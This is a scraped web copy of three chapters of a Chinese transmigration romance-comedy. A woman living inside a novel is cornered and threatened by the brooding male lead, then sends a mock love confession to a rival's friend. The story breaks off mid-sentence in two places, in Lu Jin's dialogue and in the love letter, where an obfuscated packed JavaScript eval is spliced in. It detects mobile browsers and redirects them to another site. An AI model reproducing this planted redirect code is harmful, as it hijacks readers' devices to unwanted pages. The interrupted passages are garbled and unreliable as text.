“也行,那我就坐在沙发上看看小说追追剧吧。正好烧烤架都还没撤呢,等你开完了会咱们把剩下的烤串全吃了。” “好。” 周予安准备了一下,很快就坐在了电脑前准备开线上会议。 季蝉衣戴上耳机追剧,看了一会儿,一抬头,就看见周予安正专注的看着屏幕,模样是前所未有的认真和正经。 这个样子的周予安和平常那个看起来好像总也不靠谱的人完全不同,季蝉衣被吸引了视线,不知道什么时候摘下了耳机,认真的盯着周予安看了一会儿。 认真起来的周予安好像有种天然的吸引人的魔力,季蝉衣盯着他看了好一会儿,才发觉周予安不论是说话还是聆听都有种混合着淡漠和理智的气质,他似乎总是能给出简洁有力的要求,举出直切要点的论点……季蝉衣后知后觉的有些疑惑,为什么周予安对金融和投资这类的事情这么了解? 听他说话,几乎时不时的就会提起一些专有名词,而且不管会议上的高管说什么他都能听得懂,不仅听得懂,还可以侃侃而谈……这似乎有点太专业了,一个人可以在一个月之内对金融行业精通到这些地步吗?更何况周予安前期大部分时间还和她在一起,根本没时间学习这些。所以周予安穿进来之前究竟是干什么的? 还有刚刚他对待其他人的那种上位者俯视的漠然态度……那态度自然的像是他从小就习惯了这样做一样,是和她相处的时候截然不同的感觉,一个人的气质真的可以在这么短的时间内发生翻天覆地的变化吗? 没等季蝉衣细想,她的手机屏幕忽然亮了一下。季蝉衣回过神,划开手机一看,原来是简离给她发了消息。告诉她自己还得推迟半个月才能回去。 季蝉衣也就不知不觉的将刚刚的疑惑抛诸脑后了,打起精神打字问简离是不是出了什么事。 简离回:“是出了点事,这边的一个朋友忽然生病了,我留下照顾几天。不用担心我,她说她哥哥晚上就来了,到时候我们两个人轮流,不会太吃力的。” 见不是简离出事,季蝉衣也就放下心来,也就没多问,嘱咐简离照顾好自己之后,就摁熄了手机。 15. Chapter15. 周予安开完了会,张特助又拿来很多文件和资料让他签字。 一直忙到晚上,周予安才有时间继续和季蝉衣一起烧烤吃饭。 下了班,两个人相伴回家,又窝在沙发上一起看了个电影才各自睡觉。 第二天周予安依然是一大早就出门去公司了,季蝉衣不想跟着一起去,但是也依然不想再宅在家里,于是就打算出门转转,购置一点零食,填补一下已经被吃空了一大半的零食柜。 离小区不远的地方有一片老居民区,这个小区建了挺久的了,据说很快就要拆迁。小区附近有一条巷子,巷子里面有个小卖铺,上次季蝉衣出来玩,跟着导航走错了才发现了这个小铺子。 小卖部里有很多零食,还有老板娘亲手做的柿饼和各种果脯、梅干,上次季蝉衣来的时候顺手买了点话梅回去尝了尝,谁知道味道惊为天人,可惜那次季蝉衣没买多少,从此以后她就一直想着什么时候再去买点回来。 巷子里开不了车,季蝉衣就把车停在了巷子外面,步行进去。 小卖部还开着,老板娘也还像上次那样坐在柜台后面打毛线。季蝉衣进去之后,先和老板娘寒暄了一阵,然后就直奔放果脯的地方,恨不得把老板娘亲手做的东西全部打包带走。她买了整整一大袋,要不是实在是拿不了了,她能全部都买完。 提着自己的战利品出来,季蝉衣心情愉悦的顺着原路返回。 她小声哼着不成曲调的歌,犹豫着要不要边走边吃两个。路过一个小胡同时,不经意间一转头,瞥见了两个熟悉的身影。 ——竟然说许久不见的陆靳和……等等,那个女生好像不是纪雪薇。 两个人背对着季蝉衣,都没有看到她。季蝉衣连忙躲在墙后,探头探脑的看向那个女生。 女生很快侧头和陆靳说话,季蝉衣看着她的轮廓,顿时觉得很熟悉。她凝眉思索片刻,隔了很久才恍然大悟——原来这个女生是陆靳的妹妹陆雨婷。 虽然还没有正式见过她本人,但是之前周予安给季蝉衣看过很多书中角色的照片,其中和主角团关系比较密切的季蝉衣都专门记忆过,所以她还是很容易就能回忆起来这个女孩的身份的。 不过陆雨婷和陆靳在这里干嘛?这片旧城区不像是会和这两个身价不菲的人有什么羁绊的地方啊。 季蝉衣皱了皱眉,更加认真的观察了一下。 看两人这样子,似乎正在为什么事情争执,反正都不太愉快的模样。 季蝉衣屏息凝视,多亏了陆雨婷正在气头上,说话的声音就大了点:“你凭什么拦着我?这是我自己的事情,和你有什么关系?” 陆靳面无表情的说了些什么,季蝉衣没听清,但是陆雨婷一下子就哭了:“你别再管我了,我只是你的妹妹,又不是你手里的洋娃娃,我有自己的想法,你凭什么一直管我。” 季蝉衣皱了皱眉,听着陆雨婷的话,她总感觉好像有什么地方不对劲。 没等季蝉衣细想,她手中拿着的手机忽然亮了起来。她回过神一看,原来是简离给她打电话,这才唤醒了屏幕。 季蝉衣得意一笑——她就知道一般这种偷听偷看主角团说话的场景之下,总是会有些不看事儿的东西和不知情的人会暴露偷看之人的行踪。还好她自从进来之后就留了个心眼把手机调成了静音,确保这东西不会在关键时刻出卖她。 季蝉衣得意的几乎想仰天长笑,哼哼哼,想不到吧,魔高一尺道高一丈,她读遍天下言情文套路,为的就是这一刻。这区区小说世界,她倒要看看还有什么敢暗害她! 桀桀桀桀桀桀……死小说你奈我何!老子根本不惧你的套路!! ——季蝉衣还没得意过两秒,手上有通话功能的手表忽然发出一阵刺耳的铃声,打破了这条胡同的静谧和悠然。 季蝉衣:“……?” 她脸上的笑容凝固,保持着这个表情低下头,这才发现自己戴错了智能手表——她戴成周予安的了,而周予安显然就没有她这种防范意识,不管是手机还是手表都选择了外放声音。 两人的手表是同一型号同一外观,季蝉衣知道周予安手机和手表的密码,所以这两个手表对她来说没什么区别,她早上起床都是乱拿一通,也没管是谁的,戴上就走,反正不管是谁的都能用。 季蝉衣一抬头,对上了陆靳冰凉的眼神和陆雨婷还含着眼泪的湿漉双眼。 季蝉衣:“……” 完蛋,天要亡她。 她原本想赶紧挂断然后迅速离开这个是非之地,装作偶然路过的模样立刻逃命,谁知道在极端心虚以及手忙脚乱之下,她竟然不小心点到了接听键。 与此同时,简离的大嗓门顺着手表响了起来:“哈哈,是不是季蝉衣?我就知道打不通你的手机和手表的时候,打周予安的手表绝对是你。” 季蝉衣:“……” 她错了。她以后再也不骂别人立什么笨蛋人设了,她自己才是真傻啊。 她真傻,真的。她单知道自己的手机是不响的,但是没想到别人的手表会响啊! 她慌乱挂断了简离的电话,心里一个劲儿的和简离道歉。 抱歉了好姐妹,你闺闺现在自身难保了,一会儿我再好好和你解释这一切究竟是怎么回事。 ——如果她还能绝处逢生的话。 挂断之后,季蝉衣再一抬头,对上了陆靳更加冰凉的眼神和陆雨婷已经不忍直视的表情。 季蝉衣:“……” 季蝉衣干巴巴的笑了一声,没话找话:“天气……天气真不错啊,散散步有助于身心健康。哎呦,这不是陆靳哥和雨婷妹嘛,你们也出来散步啊?好巧哈哈哈哈,我刚过来,刚刚都没看见你们呢。那什么,天色不早了,你们继续散步吧,我先回家了。拜拜……不送啊、不用送。” 说完季蝉衣又干笑了两声,整个胡同都回荡着她无措的尴尬笑声。笑完之后,季蝉衣一秒都不带犹豫的,提起东西就往自己停车的地方冲,一瞬间就迅速闪身到了墙后。 可惜她手上的东西和脚上的高跟鞋严重限制了她的速度,季蝉衣觉得自己还没走两步呢,就被人从后面捏住肩膀,然后整个人就被狠狠的按在墙上。 季蝉衣吃痛的皱起眉,一抬头就和一脸寒意的陆靳对上了视线。 这个眼神……哈哈,季蝉衣明白了。 ——女主即刻炼化。 果然是女主祭天法力无边啊,这简直是给命女主文中最经典的桥段。 再见了这个美好的小说世界,你的女主马上就要远航。 季蝉衣假笑着举起手晃了晃,僵硬的脸上勉强挤出一个偶遇熟人的惊讶模样:“好巧,你怎么也在这儿呢?” 陆靳嘴角微微上扬,眼睛里却冰凉一片:“季小姐在这儿干嘛呢?” 这语气有点过于生疏啊……在她穿过来之前,这原主真的已经和陆靳处在互相有好感的阶段了吗?怎么看着不像啊。 季蝉衣眼珠转了转,很快艰难的举起自己手里的塑料袋示意陆靳:“哦,来买点东西……那个,陆先生,你可以松开手了吗。你这样抓着我弄得我很不舒服啊。” 陆靳还保持着单手摁着季蝉衣肩膀靠在墙壁的姿势,闻言也没动,那双黑色的眼睛静静的盯着季蝉衣,仿佛深不见底的古井,让人猜不透此刻他在想什么。 他既没动也没出声回应季蝉衣,隔了一会儿才露出一个淡漠的笑,忽然答非所问:“60276。” 季蝉衣一时间没反应过来,茫然的看着陆靳,下意识地问:“什么?” 陆靳又重复了一遍。 这次季蝉衣反应过来了——这他大爷的是她房子所在的那栋楼的密码! 季蝉衣皱了皱眉,她还记得小说里陆靳是后期才去的女主家,现在按照时间线来说,陆靳应该不知道她住哪才对。但现实是陆靳不仅知道,还知道密码,还拿这件事过来威胁她。 季蝉衣皱起眉:“你偷偷调查我!” 陆靳那双黑漆漆的眸子没有一点情绪,淡声道:“我想知道这些还不至于需要专门的调查。” “……什么意思?你还知道什么?” 陆靳静静的看着她:“很多,你想让别人知道的和不想让别人知道的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527481|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,说不定我都知道。”停了停,陆靳开口提醒,“……比如,明依依。” “你究竟想干什么?”季蝉衣皱着眉看着陆靳,终于后知后觉脊背有些发凉,心里也逐渐涌上不好的感觉。这个陆靳实在是太男鬼了,以前还没发觉,现在怎么感觉他好像阴魂不散的?虽然有时候看不见他的人,但却又好像到处都有他的气息。 看书的时候她就知道陆靳是个疯子,陆靳真疯起的时候来远远不止现在这男鬼的一面。但她从来没有真正的见识过,所以一直也没能真正的感同身受。现在当她略微见识到陆靳那不为人知的一面时,她终于第一次后知后觉的感受到了这人的恐怖。 “那要看看季小姐想干什么了。你刚刚……” “我刚刚过来买东西,”季蝉衣几乎是毫不犹豫地开口打断,她已经恢复了冷静,大脑飞速运转,同时快速开口说道,“没看见你和陆小姐也在这儿,要不然肯定先开口跟你们打招呼了。” 季蝉衣露出一个看起来无比诚恳的笑:“不过你妹妹刚刚好像很伤心,你们吵架了吗?我多嘴劝一句啊,有什么事情还是得好好商量才行。如果你们有什么需要,可以和我说说,说不定我能给出合适的建议呢。” 陆靳静静的盯着她,似乎在掂量她的话哪句真哪句假。过了两秒,陆雨婷从巷子里追了上来,她脸上已经没有泪痕了,整个人干净清爽,看样子刚刚已经在两人对话的工夫整理好了自己的仪表。 陆雨婷一见陆靳的姿势,忍不住皱着眉开口:“哥,你怎么这样对季小姐?快松开。” 刚刚季蝉衣说了那么一大堆陆靳都没有松手的意思,现在陆雨婷就这么说了一句话,陆靳竟然还真就松开了手。 季蝉衣大大的松了口气,同时又忍不住腹诽,这也太双标了,早知道雨婷妹妹这么可靠,她刚刚就该直接叫她的名字,让雨婷妹妹过来英雄救美,也省的她浪费这么多口舌。 陆雨婷脸上已经没有刚刚悲伤的神情了,她平静的看着陆靳说:“哥,你先回去吧。下午不是还要去公司吗?晚上我去公司找你,我们一起吃顿晚饭。” 陆靳深深的看了她一眼,眼神不辨喜怒,但还真的依言转身离开了,从头到尾没看季蝉衣一眼。 季蝉衣顿时如获大赦。 陆雨婷转过头,一脸歉意的和季蝉衣说:“真是不好意思了季小姐,我哥他有时候脾气阴晴不定。他不喜欢有人偷听我们说话,刚刚可能误以为你在听我们说话了。你没受伤吧?我代他向你道歉。” 季蝉衣心里道,也确实听了一点,嘴上却笑着说:“没关系没关系,我好着呢。谁让我正好路过呢,说不定也是一种独特的缘分。” 陆雨婷垂下眼皮,神情看起来无比黯淡,语气也有些低落:“我哥……我哥心情不太好,所以对人对事就有些粗鲁,他平常不这样的……” 季蝉衣回想着刚刚陆靳恨不得让她血溅当场的表情,心里冷哼一声,你哥心情不好什么?刚刚弄我的时候我血溅他眼睛里了? 陆雨婷没看见季蝉衣的表情,低着头继续低声说:“晚上我会和我哥好好谈谈,让他以后尽量收敛自己的性格,别再这么的不分场合了……” 季蝉衣嘴上诚恳的说着感谢的话,语重心长的劝陆雨婷别让心里去,对待这种情况得有耐心慢慢来才行。心里却忍不住道,哇塞,这个是真仙女啊,人美心善还敢为天下先!以后我的生死安危就全叫到你手上了——仙女姐姐,这是我今年的愿望了,我要顺利的从陆靳身边离开且不被开户,你能帮我实现吗? 不过季蝉衣沾沾自喜了没五分钟,又想到刚刚陆靳和陆雨婷两个人争执的模样,显然陆靳依然习惯性的处在高位,而且陆雨婷话里话外也是在控诉陆靳的不轨行为。他们的相处模式很怪异,但季蝉衣一时半会儿的也说不出究竟怪异在哪儿。不过看样子陆雨婷大概率也只能再陆靳身边尽量的劝说他改变,却不知道能不能真的改变陆靳的行为和思想。 思索到这里的季蝉衣也就意识到自己许的愿好像有点过于为难人了。她那愿望要真能成,说不定到时候仙女的户都得一起被开。 16. Chapter16. 陆雨婷本来还想送季蝉衣回家,但听到季蝉衣说自己是开车来的之后,就只能退而求其次的把季蝉衣送到了她自己的车边。 她看着季蝉衣上了车,分别的时候还在一直和季蝉衣道歉。 季蝉衣又宽慰了她半天,见陆雨婷的情绪稍稍好转了点,这才松了口气:“那什么,现在也不早了,我就先回去了。反正咱俩也加上微信了,以后有什么事情你再和我联系,好吧?” “好,路上小心,改天我请你吃饭。” “那我就恭敬不如从命了。走啦,你别再送了,赶紧回去吧。下次见。” “嗯!” 季蝉衣把车窗升起来,陆雨婷退了两步,季蝉衣这才缓缓启动了车子。 她一路开车回家,到了之后把手里的东西随手放在地板上,然后就迫不及待地拿出手机把刚刚发生的事情原原本本的和周予安描述了一遍。 周予安很快回了她的消息,两个人虽然隔着不近的距离,但同样都忍不住对着手机唏嘘不已。 季蝉衣认真的打字:“看来以后咱们还是得多多留意咱们的一举一动,提防被有心人调查了。” “确实,这个陆靳也太阴魂不散了。” “其实这么说起来,还得是瓜总你有先见之明,还好那天你在公司闹得人尽皆知,要不然陆靳查起来还真就容易露馅。” “那是当然,怎么样,我这未卜先知的能力还是有点用处的吧?” “何止是‘有点’啊,我简直都要开始崇拜你了好吧。看来以后我不管干什么都最好先听听你的意见了,你不愧是能做总裁的人啊,这风险预判能力真不是盖的。不过你说这个陆靳不会偷偷在我房子里也装监控了吧?他不至于这么丧心病狂吧??” “……应该不会吧,毕竟这可是犯法的事情。他不至于这么癫狂。” 季蝉衣撇了撇嘴,忍不住自言自语的嘀咕了一句:“小说里他违法乱纪的事情可没少干,黑情敌电脑、撞女主暧昧对象、搅黄对女主有好感人的工作……这桩桩件件,哪一件不是法外狂徒才能干的出来的?” 不过她又转念一想,按照书中的时间线,男主也是在后期追妻的时候才开始做这些事情。现在他和原主的关系还没有好的那一步,应该不至于这么大费周章。 季蝉衣稍稍放了点心,叮嘱周予安下班回家帮自己带点她最喜欢的咖啡肉桂卷,然后例行公事般的切屏开始用小号视奸主角团配角团各个成员的朋友圈和各种社交账号。 这个非常反派的视奸行为已经持续了一周,这还是季蝉衣偶然间灵光一现想到的,通过视奸他们的动态,就可以实时获取他们的动态信息,比如他们现在在哪、之前干了什么、和谁干的等等,极大的扩充了季蝉衣的消息来源。 季蝉衣没办法想陆靳这个偷窥狂一样用一些不太正当的手段获取信息,就只能通过这种隐蔽又有效但就是略显窝囊的办法得到这些人的计划,从而有效的避开和他们一切的有可能的接触。 她就是通过这个办法躲开了好几次可能和纪雪薇“偶遇”的可能。 这段时间纪雪薇也不知道怎么回事,时而出现在她家小区、时而出现在她公司附近……要不是知道她是恶毒女配,季蝉衣都要怀疑她暗恋自己了。不过纪雪薇肯定会憋着什么坏招,她不可能明晃晃的打着“季蝉衣老子就是准备害你了,你给我等着好好接招吧”的招牌在季蝉衣可能会出现的地方守株待兔,所以每次都打着各种各样冠冕堂皇的名号。比如说什么又发现了一家好喝的咖啡厅今天过来尝尝味道、又找到了一家宝藏小店明天一定要去打卡……结果季蝉衣定睛一看,这些地方要么是在她家附近要么是在她公司附近,而且每次纪雪薇还都选在点饭或上下班的高峰出行期,真是司马昭之心,令人发指。 季蝉衣视奸她们小团体的朋友圈和社交账号,果然提前获得了很多有用的信息,每天心安理得的宅在家里,闭门不出,杜绝一切和纪雪薇正面交锋的机会。 今天她照常按照由重要配角到次要配角逐个视奸的顺序开始一个个看,看完纪雪薇的再看陈既的,然后还有黛秋心的、唐筱竹的……季蝉衣看了一会儿看渴了,就把手机随手放在一旁,起身拿了杯水喝了两口,把水杯放回去之后,再一低头,就看见了自己喝水的工夫衣服不小心碰到了屏幕,给唐筱竹发了一个像素男叼着玫瑰花的wink土味表情包,表情包配文——死丫头,真想把你狠狠给办了。 季蝉衣猝然睁大双眼,手忙脚乱的想要撤回,这时候才发现这个软件没有撤回功能。 季蝉衣:“……” 卒。 哈哈,死软件,真想把你狠狠给办了。 季蝉衣只能祈祷唐筱竹最近忽然对这个软件失去了兴趣,最好是突发奇想想要直接删掉这个软件……但好死不死,唐筱竹不仅没有删掉这个软件的念头,反而也就这么恰巧的在看这个软件,几乎是秒回:“?” 季蝉衣拍拍自己的胸脯,连连安慰自己,没关系没关系,还好是小号,唐筱竹并不知道她是谁。 然后下一秒,唐筱竹:“季蝉衣,你干嘛?突发恶疾了?” 季蝉衣:“?!” 我草草草,她怎么知道? 季蝉衣这么想的,也就忍不住这么问了。 唐筱竹隔着手机都忍不住翻了个白眼,用一种看傻子的语气说:“大姐,你的小号关联了你的大号,进你的主页稍微一翻就能翻到,你是白痴吗?” 季蝉衣:“……” 什!么! 那她的访问记录对主角团来说岂不是就像是无用人机摆出来了一句“孩子们我要偷偷视奸你了哦,都做好准备乖乖被我视奸了吗”的炫酷五彩斑斓缤纷还自带闪光的大字一样显眼??? 这真是天要亡她了。 唐筱竹很快又发:“你究竟又想耍什么把戏?我劝你早点坦白,这样说不定我还能放你一马。” 季蝉衣闭了闭眼睛,眼下只有一步险棋可走,虽然有点丢脸,而且很诡异,但季蝉衣知道肯定有用。不用的话可能身败名裂但颜面尚存,使用的话可以安然无恙但名声扫地……她咬了咬牙,权衡利弊之后,终于还是决定走这条通天路。她视死如归般的开始打字,打出一长段小作文——和唐筱竹表白了。 把那段文字发出去之后,季蝉衣长舒一口气,啊,终于做了这件一直想做但不敢做也找不到合适时机做的事情,爽了。 她觉得身心舒畅,神清气爽,浑然不知手机那头的唐筱竹“腾”地一下从床上弹了起来,目瞪口呆地盯着那段洋洋洒洒近乎一千字的小作文,嘴巴半天都合不拢。 疯了,这个季蝉衣绝对是疯了。 她本来想直接把消息删掉,但是点击删除之前,她又停住了——要不先等等,先看看季蝉衣写的什么,万一有诈呢? 唐筱竹满腹犹疑的开始看第一行—— 亲爱的筱竹,有句话其实很早之前我就想和你说了,只是一直没找到机会,但今天我实在是忍不住了,再忍下去我就要发疯了,我迫切的想要想你表达我内心真实的想法…… 唐筱竹咽了口唾沫,一时间又惊又茫然,这个季蝉衣终于开始发神经了吗?想以这种手段吸引她的注意?不行,还是得继续看看她究竟想耍什么花招。 筱竹,其实,从几个月前见到你的第一眼开始,我就无法自拔的深深爱上了你。你忧郁时的眼眸,开怀时的明媚都让我深深的着迷,你发梢间的香气,似有若无的笑颜,都烙印在我的梦境之中,时刻折磨着我,让我一刻也无法忘记你的容颜。我不知道该用什么具象的词来形容你对我的意义,它不是烟火的璀璨,不是晚风的温柔,是藏在混沌岁月里唯一的光与救赎,是我穷尽所有温柔也想捧在手心的人间宝藏。遇见你之前,我的世界是灰蒙蒙的朦胧,是没有棱角的荒芜,风是冷的,月是淡的,连呼吸都带着漫无边际的空落,我以 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17527482|203583||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 为这辈子都只会在混沌里浮沉,直到你的出现像一束揉碎的星光撞进我荒芜的心底,从此,所有的灰暗都有了光亮,所有的空白都有了轮廓。我不擅长说什么花言巧语,毕竟我的嘴笨得像被人按了静音键,但我会把所有的偏爱都藏在细节里,你爱吃的东西我以后都会记在备忘录,你吐槽的烦恼我当情绪垃圾桶,你想要的安全感我也会全部给你。 唐筱竹张大嘴巴,半天都合不拢——这个季蝉衣是疯了吗??!虽然季蝉衣确实也挺好看的,但是她和秋心可是死对头啊……不对,一定是有诈!她这个人心地这么坏,一定是想用这个方法迷惑她!对!一定是这样!……但是话又说回来,既然已经看破了她的诡计,那么再看两眼应该也没关系吧?倒不是她想看,主要是这样可以更好的了解季蝉衣的招数。这么想着,唐筱竹才又心安理得的继续往下看。 筱竹,你是我奔赴未来的所有勇气,是我藏在心底不敢轻易言说的欢喜,是我热烈的爱恋里唯一的具象与归宿。往后余生,不问朝夕,不问归途,我只想牵着你的手,把所有的温柔与偏爱都给你,把所有的心动与欢喜都讲给你听,岁岁年年,朝朝暮暮,满心是你,满心欢喜,至死不渝。以前我总觉得“心动”这两个字只是网络热梗里的夸张修辞,但直到我遇见了你,才发现我的心跳好像开了自动续费,还一不小心点了终身VIP,退订键直接焊死,连客服都找不到。我承认,我有点“恋爱脑”buff叠满,但只对你生效。别人说的废话我左耳进右耳出,你发的表情包我能研究半小时,你说的随便吃点,我能提前做三页攻略,主打一个“你的小事,我的大事”。 唐筱竹的脸颊爆红,心道这个季蝉衣也太会蛊惑人心了,怪不得秋心老是说她的坏话,虽然季蝉衣这个人也确实没在她的眼皮子底下做过什么混账事,而且看起来也爱憎分明,身上也确实有种淡淡的香气,但是……但是她这信写的实在是有些过火。但是话又又又说回来,反正都看到这里了,也不差剩下的一点了,那干脆全部看完吧。 筱竹。我贪恋你身上说不清道不明的气息,不是花香,不是果香,是让我心安的磁场,是我一靠近,就会沦陷的温柔陷阱。我喜欢看你眉眼弯弯的模样,那不是简单的好看,是春雪消融的细碎,是星河倾泻的温柔,是我看一眼心跳就会乱了章法,连思绪都变得柔软绵长的魔法。我想把世间所有的温柔都给你,不是轰轰烈烈的誓言,不是刻意讨好的敷衍,是藏在每一个细碎瞬间里的偏爱,是晚风替我吻你的发梢,是星光替我守你的安睡,是我满心满眼,全都是你的偏执。以前我觉得“岁岁年年”是病句,直到遇见你才懂,原来我想和一个人从春天的第一杯奶茶吃到冬天的第一顿火锅,从碎碎念到岁岁念,从新鲜感熬成归属感。大概这就是缘分吧,老天爷把最好的你,打包送到我身边,还附了一句:“这个,不许退货”。往后余生,钱归你,温柔归你,我也归你。 唐筱竹放下手机,整个人依然处在一种震惊和莫名的情绪余韵中,半天都难以从双目呆滞的模样中回过神。 看完之后,她感觉自己的灵魂仿佛摇摇欲坠,缓缓远离地面……难道她果然还是被神选中了吗? 她放下手机,觉得季蝉衣一定是疯了。 要么就是她疯了……不,也有可能是这个世界疯了。 她打出一段字,很快又删了,又打出一句话,犹豫半天又删了,最后终于字斟句酌的打出一段话,读了两遍还是觉得不太好,删删减减,最后唐筱竹终于把那个问号发了出去。 然后胡乱把季蝉衣发的那些信息全部滑到了上面,眼不见心不烦。 滑的时候唐筱竹甚至没有勇气看第二遍,而且现在她也不敢轻易寻死了,毕竟走马灯的时候还得再看一遍,她实在是有点承受不住。 隔了很久季蝉衣都没再回消息,唐筱竹心不在焉隔三岔五的瞥了好几眼,正等的有些心急的时候,季蝉衣才终于又有了新的消息发过来。 17. Chapter17. 再逗下去就真该出事了,季蝉衣见差不多了,也就老老实实的和唐筱竹坦了白:“哈哈哈哈,开玩笑的,其实我就是感觉这段话挺好玩的所以才发给你了。” 唐筱竹皱了皱眉,嘟囔道:“我就知道。” 唐筱竹失望的放心了。 她想了想,又皱着眉发:“以后不许再发这种无聊的东西了。” 季蝉衣:“这么冷漠?我可是会伤心的啊,虽然我对你没有那种女女之情,但我有和你做好朋友的心啊,你这么冷漠的拒绝我,我的心都要碎了,以后都拼不起来了。”后面还应景的跟着好几个心碎的表情。 不管怎么样,先把今天误触的事情糊弄过去再说。 唐筱竹思路被带着跑偏了,果然不疑有他,甚至还因为季蝉衣的这句话稍稍有些愧疚,反思了两秒自己是不是做的太过分了,隔了好一会儿才纡尊降贵般的发:“好吧,那我以后不这样了。” “那你以后会像对待普通朋友那样对待我吗?” “我试试……等等,不是,什么就普通朋友了?我们为什么要当朋友?还有我什么时候答应你要像对普通朋友那样对你了?” “你自己说的呀,不是你自己说你以后不这样了嘛?你说以后不这样,就意味着你以后不会冷漠的拒绝我,不冷漠拒绝就说明我提的要求只要不过分你都会答应,那我现在提出了自己的要求,想和你做朋友你又不愿意,这不就是出尔反尔嘛!” 唐筱竹犹豫了好几秒,还是被说服了,勉为其难的打字:“……好吧,但我们现在也只是最普通的朋友,你别想再进一步!” 季蝉衣忍不住笑了笑,发了个“好”,又忍不住自言自语道:“……还真是个小朋友,心眼倒是不坏,就是太容易被人教唆了。” 她随意的和唐筱竹聊了一会儿,没想到唐筱竹还真的说到做到,她说她以后不这样了,就真的没再尖酸刻薄的对季蝉衣,而是以对待普通朋友的态度对待季蝉衣。 聊完之后,季蝉衣又约了师傅按摩,还出去做了脸,等结束回家,周予安已经准备好烧烤等着她了。 季蝉衣瞄了一眼,那些烤串正被炭火烤的滋滋冒油,每个肉块的色泽都十分诱人,同时伴随着扑鼻的香味,让人垂涎欲滴。 季蝉衣放下包包,熟稔的在周予安对面盘腿坐下,笑眯眯的盯着肥瘦相间的烤五花说:“其实每个清晨起床我都会告诉自己——‘小周,你该戒掉甜食了’。但幸运的是,我不叫小周,而且烤五花也不是甜食。” 周予安被逗笑了:“好有哲理的自我调节方式。等以后我想休息但是又不得不要上班的时候,我也用这种方式自我调节——‘小季,你该上班了’。但幸运的是,我不叫小季,而且小季也从不上班。” 季蝉衣也忍不住笑了,笑完之后,她想到了今天和唐筱竹的对话,于是更加乐不可支,一板一眼的给周予安复述了一遍。 周予安把烤好的烤串递给季蝉衣,同时“嗯”了一声:“上次和她见面那次就看出来了,这孩子属于比较死板那一卦的,看上去不太会变通,而且容易轻信别人。” “是啊,我感觉如果我和她成为了朋友,某天邀请她来咱们家做客,假如那天我正好晒了衣服——”季蝉衣忽然想起衣服基本上都是阿姨晒,阿姨不在就周予安晒,为了故事的合理性,又非常自如的改口,“我的意思是假如你正好晒了衣服,然后等太阳快落山了,我去阳台上把咱俩的衣服收回来放在沙发上,问她能不能帮我叠一下,她都会把咱们的衣服分成两堆,只叠我的。假如我又和她说,下次帮忙把周予安的衣服也叠一叠,结果下次简离也来咱们家做客,正好也洗了衣服晾上,那么唐筱竹也只会把衣服分成三堆,把咱俩的衣服叠了,把简离的衣服单独放在一边……唉。”最后一个“唉”字概括了所有。 “啧……所以究竟是哪个人没叠衣服,惹衣姐记到现在还这么生气?……应该不是我吧,我每次收完衣服恨不得把阳台上养的多肉都给你按大小叠好。” “……”季蝉衣,“这不重要。” “……哦。” “……不过你抓重点的能力还是这么的强悍。” “……谢谢?” “……不客气。不过唐筱竹同志这种性格如果不好好教导一下的话,以后很容易就会被人当枪使啊。” 周予安往后一靠,也跟着叹了口气:“是啊,叫她看着大门,到最后就只剩下大门了。” 季蝉衣忍了半天才忍住笑,拍了拍周予安的肩膀说:“算了,以后这个重任看来只能落到你和我的肩头了,毕竟谁叫咱们走投无路而且又同是天涯沦落人呢。” 两个人纷纷叹了口气,默契的隔着烧烤架击了下掌。 · 季蝉衣本来以为自己已经做足了准备,没想到百密一疏,还是被纪雪薇找到了空子。 虽然她自己很少去公司也不经常出门,但是架不住有事儿找上门来,这个月的月底是她妈妈生日,季蝉衣不可能不回家一趟。那天周予安也特地没去公司,一大早就陪她一起回了家。 结果季蝉衣给父母打完电话,开车半个小时开开心心的到家,推门一看,笑容就凝固在了脸上……比她更早进家门的,是陆靳、陈既、纪雪薇、唐筱竹、黛秋心……甚至还有陆雨婷……这整整齐齐的主角团。见季蝉衣推门进来,大家齐齐看向他们,纪雪薇和陆雨婷纷纷笑着和季蝉衣打招呼。 季蝉衣眼前一黑又一白。 周予安在她身后,正小心挡住被季蝉衣大力拉开的门,以免关门时发出太大的声响。见季蝉衣停在原地,他也抬头跟着看了一眼,然后就在季蝉衣身后轻轻“啧”了一声:“来势汹汹啊。” 季蝉衣也轻轻“啧”了一声:“来者不善啊。” “这陈既来我能理解,怎么他还带来了这么一长串的人?” 季蝉衣仔细看了看,陈既应该就是单纯来看望她父母的,这个她也理解,毕竟是发小嘛,而且他之前也经常来。纪雪薇嘛……季蝉衣觉得她应该是硬拉着陆靳和她一起来的,其目的据保守猜测很有可能是为了膈应季蝉衣。陆雨婷心里大概还是因为上次的事情过意不去,所以就想跟来看看。至于黛秋心,估计是不放心陈既一个人和她单独相处,所以就过来盯着陈既。 至于这个唐筱竹,季蝉衣想都不用想就知道她肯定是又被人教唆了。 季蝉衣和周予安简单说了两句自己的猜测,最后感叹道:“现在我也算是发现了,其实陈既和黛秋心这一对也算是纯爱了,毕竟这在书里这么好几对不得善终的cp里,他们算是唯一一对从开始到结局都还算是相对坚定的选择对方的了,虽然被伤害的只有女主——也就是本人。别人还有可能是爱到最后全凭良心,但他们爱到最后应该真的就是全凭爱。” 周予安忍了忍,实在是没忍住,终于还是面无表情的“哦”了一声:“因为他们没有良心么?” 季蝉衣埋下头,不敢让其他人看见她险些没憋住的笑容。 